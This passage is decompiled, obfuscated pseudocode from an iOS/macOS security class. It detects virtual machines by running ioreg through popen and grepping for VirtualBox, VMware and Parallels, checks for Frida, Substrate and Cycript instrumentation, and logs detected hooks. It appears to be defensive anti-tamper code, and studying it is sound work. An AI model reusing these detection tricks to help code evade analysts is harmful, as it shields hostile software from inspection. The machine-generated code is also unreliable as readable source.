v24 = objc_retainAutoreleasedReturnValue(v23);
HikariFunctionWrapper_2749(a1, v28);
objc_release(v24);
*v48 = -1695258163;
}
else if ( v32 == 54145150 )
{
objc_release(v41);
*v48 = 1915743342;
}
}
else if ( v32 == -55826205 )
{
*v48 = 237224885;
}
else if ( v32 == -3611861 )
{
*v48 = 315204612;
}
}
if ( v32 > -645904365 )
break;
if ( v32 <= -802938052 )
{
switch ( v32 )
{
case -934190665:
v13 = 1;
v3 = 1068182978;
v14 = 727169526;
goto LABEL_284;
case -881678342:
v19 = _dyld_image_count();
v7 = 1;
v37 = v19;
v3 = 2083085082;
v8 = 261570043;
goto LABEL_268;
case -834774737:
v13 = 0;
v3 = -478510894;
v14 = 1179159800;
goto LABEL_284;
}
}
else if ( v32 > -754666472 )
{
if ( v32 == -754666471 )
{
v5 = 0;
v26 = &OBJC_CLASS___NSString;
v3 = -754666471;
v6 = 1784152645;
LABEL_277:
if ( !v5 )
v3 = v6;
goto LABEL_286;
}
if ( v32 == -666068028 )
{
v13 = 1;
v3 = -1352130963;
v14 = -2056250525;
goto LABEL_284;
}
}
else
{
if ( v32 == -802938051 )
goto LABEL_212;
if ( v32 == -786509731 )
{
v9 = 625445539;
if ( v47 )
v9 = 1229001901;
*v48 = v9;
image_index = v38;
}
}
}
if ( v32 <= -475409792 )
break;
if ( v32 > -434898123 )
{
if ( v32 == -434898122 )
{
*v48 = 1702154363;
}
else if ( v32 == -371705602 )
{
v13 = 0;
v3 = -881678342;
v14 = 261570043;
goto LABEL_284;
}
}
else
{
if ( v32 == -475409791 )
{
v2 = 0;
v3 = -1476260869;
v4 = -2080827396;
goto LABEL_273;
}
if ( v32 == -442176079 )
{
v2 = 0;
v3 = 929548831;
v4 = 658492478;
goto LABEL_273;
}
}
}
if ( v32 <= -493882727 )
break;
if ( v32 == -493882726 )
{
asc_100264E50[0] = 102;
asc_100264E50[1] = 114;
asc_100264E50[2] = 105;
asc_100264E50[3] = 100;
asc_100264E50[4] = 97;
asc_100264E50[5] = 0;
strcpy(asc_100264E40, "substrate");
asc_100264E2E[0] = 99;
asc_100264E2E[1] = 121;
asc_100264E2E[2] = 99;
asc_100264E2E[3] = 114;
asc_100264E2E[4] = 105;
asc_100264E2E[5] = 112;
asc_100264E2E[6] = 116;
asc_100264E2E[7] = 0;
asc_100265580[0] = 66;
asc_100265580[1] = 105;
asc_100265580[2] = 98;
asc_100265580[3] = 108;
asc_100265580[4] = 105;
asc_100265580[5] = 111;
asc_100265580[6] = 116;
*v48 = -1511211297;
}
else if ( v32 == -478510894 )
{
v5 = 0;
v3 = -478510894;
v6 = -1026440345;
goto LABEL_277;
}
}
if ( v32 != -563693235 )
break;
v33 = "containsString:";
v27 = "stringWithFormat:";
v28 = "logSecurityEvent:severity:";
*v48 = 1836136413;
}
}
while ( v32 != -645904364 );
}
// 1000337B7: variable 'v31' is possibly undefined
// 1000346C5: variable 'v30' is possibly undefined
// 10003475F: variable 'v29' is possibly undefined
// 10003475F: variable 'v27' is possibly undefined
// 100034783: variable 'v28' is possibly undefined
// 100034F80: variable 'v26' is possibly undefined
// 100034F80: variable 'v25' is possibly undefined
// 1002655D0: using guessed type __CFString stru_1002655D0;
// 100265610: using guessed type __CFString stru_100265610;
// 100265650: using guessed type __CFString stru_100265650;
// 100265690: using guessed type __CFString stru_100265690;
// 1002656D0: using guessed type __CFString stru_1002656D0;
// 10029F2A0: using guessed type int dword_10029F2A0;
//----- (00000001000351EC) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkSandboxOrVM](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
FILE *v9; // rax
char *v10; // [rsp+0h] [rbp-60h] BYREF
SEL v11; // [rsp+8h] [rbp-58h]
int v12; // [rsp+10h] [rbp-50h]
int v13; // [rsp+14h] [rbp-4Ch] BYREF
FILE *v14; // [rsp+18h] [rbp-48h]
bool v15; // [rsp+25h] [rbp-3Bh]
bool v16; // [rsp+26h] [rbp-3Ah]
bool v17; // [rsp+27h] [rbp-39h]
int *v18; // [rsp+28h] [rbp-38h]
__int64 v19; // [rsp+30h] [rbp-30h]
v19 = -1;
v12 = dword_10029F2A4;
v13 = 188941269;
v18 = &v13;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v13 > -36736792 )
{
if ( v13 > 1071901384 )
{
if ( v13 <= 1427346804 )
{
if ( v13 <= 1214842209 )
{
switch ( v13 )
{
case 1071901385:
fgets(v10, 512, v14);
goto LABEL_157;
case 1088065650:
byte_1002657C0 = 101;
byte_1002657C1 = 108;
byte_1002657C2 = 115;
byte_1002657C3 = 39;
byte_1002657C4 = 0;
aO_19[0] = 114;
byte_100265074 = 0;
asc_100265720[0] = 69;
asc_100265720[1] = 110;
*v18 = -1303673402;
break;
case 1191317363:
v2 = 0;
v3 = 1638421125;
v4 = -10548924;
goto LABEL_150;
}
}
else if ( v13 > 1346645236 )
{
if ( v13 == 1346645237 )
{
v2 = 1;
v3 = -124169699;
goto LABEL_149;
}
if ( v13 == 1401147803 )
*v18 = -945246380;
}
else if ( v13 == 1214842210 )
{
*v18 = -124169699;
}
else if ( v13 == 1245944291 )
{
LABEL_157:
*v18 = 688772825;
}
}
else if ( v13 > 1713002581 )
{
if ( v13 > 2095812289 )
{
if ( v13 == 2095812290 )
{
v5 = !v15;
v3 = 544599889;
v6 = -2040210521;
goto LABEL_144;
}
if ( v13 == 2106058237 )
{
v5 = !v17;
v3 = -1674724487;
v6 = -36736791;
goto LABEL_144;
}
}
else
{
if ( v13 == 1713002582 )
{
v7 = 1;
v3 = 413810359;
v8 = -236711771;
LABEL_136:
if ( v7 )
v3 = v8;
goto LABEL_155;
}
if ( v13 == 1938351479 )
{
v7 = 0;
v3 = -1234494461;
v8 = -380169810;
goto LABEL_136;
}
}
}
else if ( v13 > 1514606079 )
{
if ( v13 == 1514606080 )
{
*v18 = 120078394;
}
else if ( v13 == 1638421125 )
{
popen(asc_100265790, aO_19);
*v18 = -10548924;
}
}
else if ( v13 == 1427346805 )
{
*v18 = -1699737764;
}
else if ( v13 == 1476277758 )
{
v5 = 0;
v3 = 1401147803;
v6 = -945246380;
goto LABEL_144;
}
}
else if ( v13 <= 478946383 )
{
if ( v13 <= 120078393 )
{
switch ( v13 )
{
case -36736791:
v3 = 478946384;
goto LABEL_155;
case -10548924:
v10 = (char *)(&v10 - 64);
v9 = popen(asc_100265790, aO_19);
v16 = v9 == 0;
v14 = v9;
v3 = -1408554982;
goto LABEL_155;
case 109817600:
LABEL_104:
*v18 = -1796976494;
break;
}
}
else if ( v13 > 188941268 )
{
if ( v13 == 188941269 )
{
LABEL_114:
*v18 = 137634621;
}
else if ( v13 == 413810359 )
{
objc_msgSend(
a1,
v11,
CFSTR("\xF3\x1A\x55\xC1\x10[\xD5\x23\xE6\x65\x24\x05\xC4\xC7\x7F@\"#\xC4\x11\x83\xA4\xF6\x41\x23\x04\x8EXx\nǓ\t^^\x01"),
CFSTR("aw\xC8\x2A"));
*v18 = -236711771;
}
}
else if ( v13 == 120078394 )
{
v5 = 0;
v3 = 1514606080;
v6 = -2019279339;
LABEL_144:
if ( !v5 )
v3 = v6;
LABEL_155:
*v18 = v3;
}
else if ( v13 == 137634621 )
{
v15 = v12 == 0;
v5 = 0;
v3 = -491953279;
v6 = -170137075;
goto LABEL_144;
}
}
else if ( v13 > 688772824 )
{
if ( v13 > 879775222 )
{
if ( v13 == 879775223 )
{
*v18 = -511203278;
}
else if ( v13 == 1015630411 )
{
goto LABEL_104;
}
}
else
{
if ( v13 == 688772825 )
{
v17 = fgets(v10, 512, v14) == 0;
v7 = 0;
v3 = -1739620738;
v8 = 1071901385;
goto LABEL_136;
}
if ( v13 == 815858546 )
*v18 = -1440510699;
}
}
else if ( v13 > 544599888 )
{
if ( v13 == 544599889 )
{
dword_10029F2A4 = 1;
*v18 = 1191317363;
}
else if ( v13 == 551562270 )
{
goto LABEL_98;
}
}
else
{
if ( v13 == 478946384 )
{
HikariFunctionWrapper_2751(v14);
v3 = -1534468829;
goto LABEL_155;
}
if ( v13 == 492180808 )
{
v2 = 1;
v3 = -1598325047;
v4 = -451190763;
goto LABEL_150;
}
}
}
if ( v13 <= -1408554983 )
break;
if ( v13 <= -623931690 )
{
if ( v13 <= -1234494462 )
{
switch ( v13 )
{
case -1408554982:
*v18 = -623931689;
break;
case -1333752271:
*v18 = 1713002582;
break;
case -1303673402:
asc_100265720[2] = 116;
asc_100265720[3] = 111;
asc_100265720[4] = 114;
asc_100265720[5] = 110;
asc_100265720[6] = 111;
asc_100265720[7] = 32;
asc_100265720[8] = 118;
asc_100265720[9] = 105;
asc_100265720[10] = 114;
asc_100265720[11] = 116;
asc_100265720[12] = 117;
asc_100265720[13] = 97;
asc_100265720[14] = 108;
asc_100265720[15] = 32;
asc_100265720[16] = 100;
asc_100265720[17] = 101;
asc_100265720[18] = 116;
asc_100265720[19] = 101;
asc_100265720[20] = 99;
asc_100265720[21] = 116;
asc_100265720[22] = 97;
asc_100265720[23] = 100;
asc_100265720[24] = 111;
asc_100265720[25] = 32;
asc_100265720[26] = 112;
asc_100265720[27] = 111;
asc_100265720[28] = 114;
asc_100265720[29] = 32;
asc_100265720[30] = 105;
asc_100265720[31] = 111;
asc_100265720[32] = 114;
asc_100265720[33] = 101;
asc_100265720[34] = 103;
asc_100265720[35] = 0;
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
*v18 = 544599889;
break;
}
}
else if ( v13 > -945246381 )
{
if ( v13 == -945246380 )
{
v5 = 0;
v3 = 1401147803;
v6 = -1907053049;
goto LABEL_144;
}
if ( v13 == -730785764 )
LABEL_98:
*v18 = -1577492298;
}
else
{
if ( v13 == -1234494461 )
{
v2 = 1;
v3 = -1461907202;
v4 = -380169810;
goto LABEL_150;
}
if ( v13 == -1142859498 )
*v18 = 1245944291;
}
}
else if ( v13 > -380169811 )
{
if ( v13 > -170137076 )
{
if ( v13 == -170137075 )
{
*v18 = 1346645237;
}
else if ( v13 == -124169699 )
{
v2 = 1;
v3 = 2095812290;
LABEL_149:
v4 = 1214842210;
LABEL_150:
if ( !v2 )
v3 = v4;
goto LABEL_155;
}
}
else if ( v13 == -380169810 )
{
*v18 = -1234494461;
}
else if ( v13 == -236711771 )
{
objc_msgSend(
a1,
v11,
CFSTR("\xF3\x1A\x55\xC1\x10[\xD5\x23\xE6\x65\x24\x05\xC4\xC7\x7F@\"#\xC4\x11\x83\xA4\xF6\x41\x23\x04\x8EXx\nǓ\t^^\x01"),
CFSTR("aw\xC8\x2A"));
v2 = 1;
v3 = 815858546;
v4 = -236711771;
goto LABEL_150;
}
}
else if ( v13 > -491953280 )
{
if ( v13 == -491953279 )
goto LABEL_114;
if ( v13 == -451190763 )
*v18 = -1598325047;
}
else
{
if ( v13 == -623931689 )
{
v2 = 0;
v3 = 1514606080;
v4 = 120078394;
goto LABEL_150;
}
if ( v13 == -511203278 )
{
v2 = 1;
v11 = "logSecurityEvent:severity:";
v3 = -1333752271;
v4 = -511203278;
goto LABEL_150;
}
}
}
if ( v13 > -1674724488 )
break;
if ( v13 <= -1907053050 )
{
switch ( v13 )
{
case -2040210521:
qmemcpy((void *)asc_100265790, "ioreg -l | grep -e 'VBOX' -e 'VMware' -e 'Parall", 48);
*v18 = 1088065650;
break;
case -2019279339:
v5 = !v16;
v3 = -730785764;
v6 = 1938351479;
goto LABEL_144;
case -1968461828:
HikariFunctionWrapper_2753(v14);
*v18 = 478946384;
break;
}
}
else if ( v13 > -1739620739 )
{
if ( v13 == -1739620738 )
{
*v18 = 492180808;
}
else if ( v13 == -1699737764 )
{
v5 = 0;
v3 = 1427346805;
v6 = -1542646670;
goto LABEL_144;
}
}
else if ( v13 == -1907053049 )
{
*v18 = 1015630411;
}
else if ( v13 == -1796976494 )
{
v5 = 0;
v3 = 109817600;
v6 = -1413930247;
goto LABEL_144;
}
}
if ( v13 > -1534468830 )
break;
if ( v13 > -1577492299 )
{
if ( v13 == -1577492298 )
{
v3 = -1142859498;
goto LABEL_155;
}
if ( v13 == -1542646670 )
*v18 = -36736791;
}
else
{
if ( v13 == -1674724487 )
{
v7 = 1;
v3 = 879775223;
v8 = -511203278;
goto LABEL_136;
}
if ( v13 == -1598325047 )
{
v7 = 0;
v3 = 2106058237;
v8 = -451190763;
goto LABEL_136;
}
}
}
if ( v13 <= -1440510700 )
break;
if ( v13 == -1440510699 )
{
v3 = -1699737764;
goto LABEL_155;
}
if ( v13 == -1413930247 )
*v18 = 1938351479;
}
if ( v13 != -1534468829 )
break;
*v18 = 1476277758;
}
}
while ( v13 != -1461907202 );
}
// 100265074: using guessed type char byte_100265074;
// 1002657C0: using guessed type char byte_1002657C0;
// 1002657C1: using guessed type char byte_1002657C1;
// 1002657C2: using guessed type char byte_1002657C2;
// 1002657C3: using guessed type char byte_1002657C3;
// 1002657C4: using guessed type char byte_1002657C4;
// 1002657F0: using guessed type __CFString cfstr_Aw_0;
// 100265830: using guessed type __CFString stru_100265830;
// 10029F2A4: using guessed type int dword_10029F2A4;
//----- (0000000100036622) ----------------------------------------------------
char __cdecl +[AldazSecurityGuard ownerPathLooksTrusted:](id a1, SEL a2, const char *a3)
{
const char *v3; // rbx
__CFString *v4; // r15
int v5; // eax
id v6; // rax
id v7; // r14
__CFString *v8; // rbx
unsigned __int8 v9; // r15
int v10; // eax
bool v11; // zf
int v12; // ecx
char v13; // cf
int v14; // ecx
char v15; // cf
unsigned __int8 v16; // al
int v17; // ecx
int v18; // eax
bool v19; // zf
int v20; // ecx
id v21; // rax
id v22; // rax
NSString *v23; // rax
NSString *v24; // r14
NSString *v25; // rax
NSBundle *v26; // rax
id v27; // rax
const char *v29; // [rsp+0h] [rbp-80h]
const char *v31; // [rsp+10h] [rbp-70h]
id v32; // [rsp+18h] [rbp-68h]
int v33; // [rsp+20h] [rbp-60h]
int v34; // [rsp+24h] [rbp-5Ch] BYREF
id v35; // [rsp+28h] [rbp-58h]
SEL v36; // [rsp+30h] [rbp-50h]
id v37; // [rsp+38h] [rbp-48h]
bool v38; // [rsp+40h] [rbp-40h]
char v39; // [rsp+41h] [rbp-3Fh]
char v40; // [rsp+42h] [rbp-3Eh]
bool v41; // [rsp+43h] [rbp-3Dh]
unsigned __int8 v42; // [rsp+44h] [rbp-3Ch]
bool v43; // [rsp+45h] [rbp-3Bh]
unsigned __int8 v44; // [rsp+46h] [rbp-3Ah]
bool v45; // [rsp+47h] [rbp-39h]
unsigned __int8 v46; // [rsp+48h] [rbp-38h]
bool v47; // [rsp+49h] [rbp-37h]
unsigned __int8 v48; // [rsp+4Ah] [rbp-36h]
bool v49; // [rsp+4Bh] [rbp-35h]
char v50; // [rsp+4Ch] [rbp-34h]
char v51; // [rsp+4Dh] [rbp-33h]
char v52; // [rsp+4Eh] [rbp-32h]
char v53; // [rsp+4Fh] [rbp-31h]
int *v54; // [rsp+50h] [rbp-30h]
v3 = a3;
v33 = dword_10029F2A8;
v34 = 1219932832;
v54 = &v34;
v4 = CFSTR("\x02\x1B%\xC3\xD7\xA0\xB7u\x1F\xAA\x12\x06An\f");
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v34 > 24080302 )
{
if ( v34 <= 1092521290 )
{
if ( v34 > 419711859 )
{
if ( v34 > 652311317 )
{
if ( v34 > 868672851 )
{
if ( v34 == 868672852 )
{
v13 = 1;
v5 = 1998200368;
v14 = -232817730;
goto LABEL_173;
}
if ( v34 == 1016516741 )
*v54 = 2013741254;
}
else
{
if ( v34 == 652311318 )
{
v45 = v44 == 0;
v15 = 1;
v5 = 1429036368;
goto LABEL_162;
}
if ( v34 == 855655212 )
{
asc_1002658D3[9] = v39 ^ 0xF;
asc_100265900[0] = 47;
asc_100265900[1] = 115;
asc_100265900[2] = 121;
asc_100265900[3] = 115;
asc_100265900[4] = 116;
v40 = 101;
*v54 = 310076541;
}
}
}
else if ( v34 > 545828099 )
{
if ( v34 == 545828100 )
{
v49 = v48 != 0;
*v54 = -238969311;
}
else if ( v34 == 608107685 )
{
v13 = 1;
v5 = 1097425937;
v14 = 1696586696;
goto LABEL_173;
}
}
else if ( v34 == 419711860 )
{
v47 = v46 == 0;
*v54 = -1475079281;
}
else if ( v34 == 462986377 )
{
*v54 = -2087526234;
}
}
else if ( v34 > 179134436 )
{
if ( v34 > 310076540 )
{
if ( v34 == 310076541 )
{
asc_100265900[5] = v40;
asc_100265900[6] = 109;
asc_100265900[7] = 47;
asc_100265900[8] = 108;
asc_100265900[9] = 105;
asc_100265900[10] = 98;
asc_100265900[11] = 114;
asc_100265900[12] = 97;
asc_100265900[13] = 114;
asc_100265900[14] = 121;
asc_100265900[15] = 47;
asc_100265900[16] = 0;
strcpy(asc_1002658B0, "/private/var/containers/");
strcpy(aC, "corefoundation.framework");
*v54 = -1270354730;
}
else if ( v34 == 351339922 )
{
dword_10029F2A8 = 1;
*v54 = -250230914;
}
}
else if ( v34 == 179134437 )
{
objc_release(v37);
*v54 = -1591432673;
}
else if ( v34 == 222167295 )
{
*v54 = -1084634603;
}
}
else if ( v34 > 98742184 )
{
if ( v34 == 98742185 )
{
v11 = !v38;
v5 = -1270354730;
v12 = -320738073;
goto LABEL_177;
}
if ( v34 == 112078627 )
{
v19 = !v43;
v10 = -793990420;
v20 = -1782166349;
goto LABEL_152;
}
}
else if ( v34 == 24080303 )
{
*v54 = -1934196415;
v52 = v51;
}
else if ( v34 == 41236669 )
{
*v54 = -1874613058;
}
}
else if ( v34 <= 1650521890 )
{
if ( v34 > 1135135720 )
{
if ( v34 > 1387697998 )
{
if ( v34 == 1387697999 )
{
objc_msgSend(v37, v36, v4);
LABEL_146:
*v54 = -1021349077;
}
else if ( v34 == 1429036368 )
{
*v54 = 1709882694;
}
}
else if ( v34 == 1135135721 )
{
v15 = 1;
v5 = 652311318;
LABEL_162:
v17 = 2021771327;
LABEL_163:
if ( !v15 )
v5 = v17;
LABEL_179:
*v54 = v5;
}
else if ( v34 == 1219932832 )
{
v5 = -2087526234;
goto LABEL_179;
}
}
else if ( v34 > 1100692135 )
{
if ( v34 == 1100692136 )
{
*v54 = -1029234582;
}
else if ( v34 == 1124207044 )
{
v16 = (unsigned __int8)objc_msgSend(
v37,
v36,
CFSTR("!\x0F\x90K\xFB\x89S\xA4h\xDD\xCA\x86\xAFx\xA3'3\x88\xE0\x9A\xBB\x1CZ"));
v15 = 1;
v46 = v16;
v5 = -1766524554;
goto LABEL_94;
}
}
else
{
if ( v34 == 1092521291 )
{
v19 = !v47;
v10 = -793990420;
v20 = -1202960793;
goto LABEL_152;
}
if ( v34 == 1097425937 )
*v54 = 1696586696;
}
}
else if ( v34 <= 1882233825 )
{
if ( v34 > 1709882693 )
{
if ( v34 == 1709882694 )
{
v13 = 1;
v5 = -397694898;
v14 = -1422039100;
goto LABEL_173;
}
if ( v34 == 1868984435 )
{
v15 = 1;
v5 = 1124207044;
LABEL_94:
v17 = -244193385;
goto LABEL_163;
}
}
else if ( v34 == 1650521891 )
{
*v54 = -737918343;
}
else if ( v34 == 1696586696 )
{
v43 = v42 == 0;
v13 = 0;
v5 = 1882233826;
v14 = 1097425937;
goto LABEL_173;
}
}
else if ( v34 <= 2013741253 )
{
if ( v34 == 1882233826 )
{
*v54 = 868672852;
}
else if ( v34 == 1998200368 )
{
*v54 = -232817730;
}
}
else
{
switch ( v34 )
{
case 2013741254:
v13 = 0;
v5 = -535598187;
v14 = -1222316363;
LABEL_173:
if ( v13 )
v5 = v14;
goto LABEL_179;
case 2021771327:
*v54 = 652311318;
break;
case 2031921896:
v5 = 1092521291;
goto LABEL_179;
}
}
}
if ( v34 <= -1021349078 )
break;
if ( v34 <= -397694899 )
{
if ( v34 > -690083184 )
{
if ( v34 > -581868293 )
{
if ( v34 == -581868292 )
{
v23 = +[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v3);
v24 = objc_retainAutoreleasedReturnValue(v23);
v29 = "lowercaseString";
v25 = -[NSString lowercaseString](v24, "lowercaseString");
v37 = objc_retainAutoreleasedReturnValue(v25);
objc_release(v24);
v26 = +[NSBundle mainBundle](&OBJC_CLASS___NSBundle, "mainBundle");
v35 = objc_retainAutoreleasedReturnValue(v26);
v31 = "bundlePath";
*v54 = -360607783;
}
else if ( v34 == -535598187 )
{
*v54 = 98742185;
}
}
else
{
if ( v34 == -690083183 )
{
v21 = objc_msgSend(v35, v31);
v22 = objc_retainAutoreleasedReturnValue(v21);
v15 = 1;
v32 = v22;
v5 = 41236669;
v17 = -690083183;
goto LABEL_163;
}
if ( v34 == -638955741 )
{
*v54 = -793990420;
v53 = v50;
}
}
}
else if ( v34 > -793990421 )
{
if ( v34 == -793990420 )
{
v51 = v53;
v15 = 1;
v5 = -1591432673;
v17 = 179134437;
goto LABEL_163;
}
if ( v34 == -737918343 )
{
v18 = -581868292;
if ( v41 )
v18 = -1934196415;
*v54 = v18;
v52 = 0;
}
}
else if ( v34 == -1021349077 )
{
v42 = (unsigned __int8)HikariFunctionWrapper_2757(v37, v36);
*v54 = -799963227;
}
else if ( v34 == -799963227 )
{
*v54 = 608107685;
}
}
else if ( v34 <= -244193386 )
{
if ( v34 > -320738074 )
{
if ( v34 == -320738073 )
{
asc_1002658D3[0] = 47;
asc_1002658D3[1] = 117;
asc_1002658D3[2] = 115;
asc_1002658D3[3] = 114;
asc_1002658D3[4] = 47;
asc_1002658D3[5] = 108;
asc_1002658D3[6] = 105;
asc_1002658D3[7] = 98;
asc_1002658D3[8] = 47;
v39 = 15;
*v54 = 855655212;
}
else if ( v34 == -250230914 )
{
dword_10029F2A8 = 1;
*v54 = 1100692136;
}
}
else if ( v34 == -397694898 )
{
*v54 = -1422039100;
}
else if ( v34 == -360607783 )
{
v11 = 0;
v5 = -1641487779;
v12 = -690083183;
goto LABEL_177;
}
}
else if ( v34 <= -232817731 )
{
if ( v34 == -244193385 )
{
HikariFunctionWrapper_2761(v37, v36);
*v54 = 1124207044;
}
else if ( v34 == -238969311 )
{
v13 = 0;
v5 = -1084634603;
v14 = 222167295;
goto LABEL_173;
}
}
else
{
switch ( v34 )
{
case -232817730:
v11 = 0;
v5 = 1998200368;
v12 = 112078627;
LABEL_177:
if ( !v11 )
v5 = v12;
goto LABEL_179;
case -222432240:
goto LABEL_146;
case -27976054:
*v54 = -1308230391;
break;
}
}
}
if ( v34 <= -1475079282 )
break;
if ( v34 > -1222316364 )
{
if ( v34 > -1084634604 )
{
if ( v34 == -1084634603 )
{
v15 = 0;
v50 = v49;
v5 = 222167295;
v17 = -638955741;
goto LABEL_163;
}
if ( v34 == -1029234582 )
{
v5 = -1308230391;
goto LABEL_179;
}
}
else if ( v34 == -1222316363 )
{
*v54 = -535598187;
}
else if ( v34 == -1202960793 )
{
v48 = (unsigned __int8)HikariFunctionWrapper_2759(v37, v36);
*v54 = 545828100;
}
}
else if ( v34 > -1308230392 )
{
if ( v34 == -1308230391 )
{
v41 = v3 == 0;
v13 = 1;
v5 = -27976054;
v14 = 1650521891;
goto LABEL_173;
}
if ( v34 == -1270354730 )
{
v15 = 1;
v5 = -250230914;
v17 = 351339922;
goto LABEL_163;
}
}
else
{
if ( v34 == -1475079281 )
goto LABEL_84;
if ( v34 == -1422039100 )
{
v11 = 0;
v5 = -1422039100;
v12 = -1795748468;
goto LABEL_177;
}
}
}
if ( v34 <= -1766524555 )
break;
if ( v34 > -1641487780 )
{
if ( v34 == -1641487779 )
{
v27 = objc_msgSend(v35, v31);
objc_retainAutoreleasedReturnValue(v27);
*v54 = -690083183;
}
else if ( v34 == -1591432673 )
{
objc_release(v37);
v15 = 0;
v5 = -1591432673;
v17 = 24080303;
goto LABEL_163;
}
}
else if ( v34 == -1766524554 )
{
*v54 = 419711860;
}
else if ( v34 == -1695288070 )
{
LABEL_84:
*v54 = 2031921896;
}
}
if ( v34 <= -1795748469 )
break;
if ( v34 == -1795748468 )
{
v19 = !v45;
v10 = -793990420;
v20 = 1868984435;
LABEL_152:
if ( !v19 )
v10 = v20;
LABEL_154:
*v54 = v10;
v53 = 1;
}
else if ( v34 == -1782166349 )
{
v44 = (unsigned __int8)objc_msgSend(v37, v36, CFSTR("|\x81k\x82\x8B\xC7\x42#m\x01"));
*v54 = 1135135721;
}
}
if ( v34 == -2087526234 )
{
v38 = v33 == 0;
v13 = 1;
v5 = 462986377;
v14 = 1016516741;
goto LABEL_173;
}
if ( v34 == -1874613058 )
{
v6 = objc_msgSend(v32, v29);
v7 = objc_retainAutoreleasedReturnValue(v6);
v36 = "containsString:";
v8 = v4;
v9 = (unsigned __int8)HikariFunctionWrapper_2755(v37, "containsString:");
objc_release(v7);
objc_release(v32);
objc_release(v35);
v11 = v9 == 0;
v4 = v8;
v3 = a3;
v10 = -793990420;
if ( v11 )
v10 = -222432240;
goto LABEL_154;
}
}
while ( v34 != -1934196415 );
return v52;
}
// 100036773: variable 'v32' is possibly undefined
// 100036773: variable 'v29' is possibly undefined
// 100037214: variable 'v31' is possibly undefined
// 100265940: using guessed type __CFString stru_100265940;
// 1002659C0: using guessed type __CFString stru_1002659C0;
// 100265A00: using guessed type __CFString stru_100265A00;
// 10029F2A8: using guessed type int dword_10029F2A8;
//----- (00000001000379CE) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard handleDetectedHook:](id a1, SEL a2, id a3)
{
int v4; // eax
char v5; // cf
int v6; // ecx
bool v7; // zf
int v8; // ecx
const char *v9; // [rsp+8h] [rbp-48h]
int v10; // [rsp+14h] [rbp-3Ch]
int v11; // [rsp+18h] [rbp-38h] BYREF
bool v12; // [rsp+1Eh] [rbp-32h]
char v13; // [rsp+1Fh] [rbp-31h]
int *v14; // [rsp+20h] [rbp-30h]
v11 = 55230121;
v14 = &v11;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v11 > 410752893 )
{
if ( v11 <= 1345550684 )
{
if ( v11 > 1171334711 )
{
switch ( v11 )
{
case 1171334712:
asc_100265A26[2] = v13 ^ 0xBB;
asc_100265A26[3] = 82;
asc_100265A26[4] = 84;
asc_100265A26[5] = 0;
*v14 = 1404984768;
break;
case 1279868125:
objc_msgSend(a1, v9, a3, CFSTR("\x04\xE8\xA2\xD0|L"));
v5 = 0;
v4 = -1354471909;
v6 = -1476859051;
goto LABEL_68;
case 1304948771:
*v14 = -1905093735;
break;
}
}
else
{
switch ( v11 )
{
case 410752894:
*v14 = 1046050139;
break;
case 1046050139:
v5 = 1;
v9 = "logSecurityEvent:severity:";
v4 = 410752894;
v6 = 345417517;
goto LABEL_68;
case 1134936810:
LABEL_50:
*v14 = 1279868125;
break;
}
}
}
else if ( v11 <= 1810478002 )
{
switch ( v11 )
{
case 1345550685:
v7 = 0;
v4 = 1171334712;
v8 = 1404984768;
LABEL_56:
if ( !v7 )
v4 = v8;
goto LABEL_70;
case 1404984768:
asc_100265A26[2] = v13 ^ 0xBB;
asc_100265A26[3] = 82;
asc_100265A26[4] = 84;
asc_100265A26[5] = 0;
v4 = 1693068814;
goto LABEL_70;
case 1693068814:
*v14 = -1469200647;
break;
}
}
else if ( v11 > 1974218155 )
{
if ( v11 == 1974218156 )
{
v7 = 0;
v4 = 1974218156;
v8 = 402786341;
goto LABEL_56;
}
if ( v11 == 2024735957 )
{
v4 = 1046050139;
goto LABEL_70;
}
}
else if ( v11 == 1810478003 )
{
asc_100265A26[1] = 76;
*v14 = -550897746;
}
else if ( v11 == 1887732782 )
{
v12 = v10 == 0;
*v14 = -1706960586;
}
}
if ( v11 <= -744819581 )
break;
if ( v11 <= -530595337 )
{
switch ( v11 )
{
case -744819580:
asc_100265A26[0] = 65;
*v14 = -625109569;
break;
case -625109569:
v4 = -550897746;
goto LABEL_70;
case -550897746:
v5 = 1;
asc_100265A26[1] = 76;
v13 = -2;
v4 = 1810478003;
v6 = -1579747115;
goto LABEL_68;
}
}
else if ( v11 > 345417516 )
{
if ( v11 == 345417517 )
{
*v14 = 1134936810;
}
else if ( v11 == 402786341 )
{
v7 = !v12;
v4 = -1469200647;
v8 = -744819580;
goto LABEL_56;
}
}
else if ( v11 == -530595336 )
{
*v14 = 1887732782;
}
else if ( v11 == 55230121 )
{
v4 = -1905093735;
goto LABEL_70;
}
}
if ( v11 > -1476859052 )
break;
switch ( v11 )
{
case -1905093735:
v5 = 1;
v10 = dword_10029F2AC;
v4 = -1905093735;
v6 = -530595336;
goto LABEL_68;
case -1706960586:
v5 = 0;
v4 = 1974218156;
v6 = -1475380597;
LABEL_68:
if ( v5 )
v4 = v6;
LABEL_70:
*v14 = v4;
break;
case -1579747115:
*v14 = 1345550685;
break;
}
}
if ( v11 > -1469200648 )
break;
if ( v11 == -1476859051 )
{
objc_msgSend(a1, v9, a3, CFSTR("\x04\xE8\xA2\xD0|L"));
goto LABEL_50;
}
if ( v11 == -1475380597 )
*v14 = 1974218156;
}
if ( v11 != -1469200647 )
break;
dword_10029F2AC = 1;
*v14 = 2024735957;
}
}
while ( v11 != -1354471909 );
}
// 100037A90: variable 'v10' is possibly undefined
// 100037CB5: variable 'v9' is possibly undefined
// 100265A50: using guessed type __CFString stru_100265A50;
// 10029F2AC: using guessed type int dword_10029F2AC;
//----- (000000010003805D) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkCriticalObjCMethodHooks](id a1, SEL a2)
{
int v2; // eax
char v3; // cf
int v4; // ecx
unsigned __int8 v5; // al
int v6; // eax
char v7; // cf
int v8; // ecx
Class *v9; // r14
IMP Implementation; // rax
int v11; // eax
int v12; // edx
